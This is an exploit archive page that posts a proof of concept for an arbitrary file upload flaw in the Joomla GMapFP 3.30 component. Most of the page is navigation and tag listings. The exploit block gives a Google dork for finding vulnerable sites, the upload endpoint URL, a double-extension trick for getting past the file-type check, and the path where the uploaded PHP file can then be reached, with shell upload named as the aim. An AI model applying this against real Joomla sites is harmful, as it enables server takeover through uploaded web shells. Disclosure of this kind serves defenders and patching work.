

Joomla GMapFP 3.30 Arbitrary File Upload

Authored by thelastvvv

Posted Mar 25, 2020

Joomla GMapFP component version 3.30 suffers from an arbitrary file upload vulnerability.

tags | exploit, arbitrary, file upload

SHA-256 | 8f0e82084a9508b9e75b3daa6af8a23743274a4648760ef5cda5f9df1cf279be Download | Favorite | View

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Exploit Title: Joomla! Component GMapFP 3.30 - Arbitrary File Upload
# Google Dork: inurl:"com_gmapfp"
# Date: 2020-03-25
# Exploit Author: thelastvvv
# Vendor Homepage: https://gmapfp.org/
# Version: * Version J3.30pro
# Tested on: Ubuntu

# PoC:

http://127.0.0.1/index.php?option=comgmapfp&controller=editfile&tmpl=component&task=upload_image

# you can bypass the restriction by uploading your file.php.png , file2.php.jpeg , file3.html.jpg
,file3.txt.jpg

# Dir File Path:

http://127.0.0.1/images/gmapfp/file.php

or

http://127.0.0.1/images/gmapfp/file.php.png

# The Joomla Gmapfp Components 3.x is allowing
# remote attackers to upload arbitrary files upload/shell upload due the issues of unrestricted file uploads
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (8,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
IOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed